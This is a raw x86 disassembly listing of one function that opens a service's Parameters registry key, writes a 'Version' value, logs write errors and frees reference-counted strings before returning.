push 8
push ecx
mov ecx, 0x5a
call fcn.00413760
mov eax, str.sstray64.exe
cmp dword [0x45f3e8], ebx
jne 0x415bf4
mov eax, 0x452c10
push eax
push str.SYSTEMCurrentControlSetServices_sParameters
lea edi, [ebp - 0x274]
call fcn.00403fa0
mov eax, dword [ebp - 0x274]
add esp, 8
lea edx, [ebp - 0x270]
push edx
push 0x20006
push ebx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x270], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x415c58
mov ecx, dword [ebp - 0x2d4]
xor eax, eax
cmp ecx, ebx
je 0x415c44
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x270]
mov dword [ebp - 0x2d4], esi
cmp eax, ebx
je 0x415cf1
mov edx, dword [0x45d48c]
mov eax, dword [edx + 0xc]
mov ecx, 0x45d48c
call eax
lea edi, [eax + 0x10]
mov dword [ebp - 0x270], edi
mov byte [ebp - 4], 0x49
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
je 0x415cc8
call esi
push eax
push str.Failed_to_write_registry__error__d
lea edi, [ebp - 0x270]
call fcn.00403fa0
add esp, 8
lea ecx, [ebp - 0x360]
push ecx
mov ecx, dword [ebp - 0x270]
mov byte [ebp - 0x368], bl
call fcn.004037a0
call esi
push 0x456afc
lea edx, [ebp - 0x368]
push edx
mov dword [ebp - 0x364], eax
call fcn.00434818
lea eax, [edi - 0x10]
mov byte [ebp - 4], 0x44
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415d6e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x415d6e
lea ecx, [ebp - 0x2a8]
push ecx
call fcn.00416050
add esp, 4
mov byte [ebp - 4], 0x4a
mov edi, dword [eax]
xor eax, eax
cmp edi, ebx
setne al
cmp eax, ebx
jne 0x415d1b
push 0x80004005
call fcn.004036a0
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 2]
push edx
push edi
push 1
push ebx
push str.Version
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov byte [ebp - 4], 0x44
mov eax, dword [ebp - 0x2a8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415d5d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp esi, ebx
je 0x415d6e
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x2d4], ebx
cmp byte [ebp + 8], bl
jne 0x415d85
mov ecx, dword [ebp - 0x2b4]
push ebx
push ecx
mov ecx, 0x64
call fcn.00413760
mov eax, dword [ebp - 0x2d4]
cmp eax, ebx
je 0x415d96
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 0x3e
mov eax, dword [ebp - 0x2a0]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x415dbc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x19
mov eax, dword [ebp - 0x274]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415de2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0x298]
push ecx
call fcn.0041e680
lea edx, [ebp - 0x284]
push edx
call fcn.0041e680
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x2b8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415e20
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x2b0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415e46
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x2c8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415e6c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x2a4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415e92
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x2c4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415ebb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
jmp 0x415f5d
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.0042decf
mov esp, ebp
pop ebp
ret 4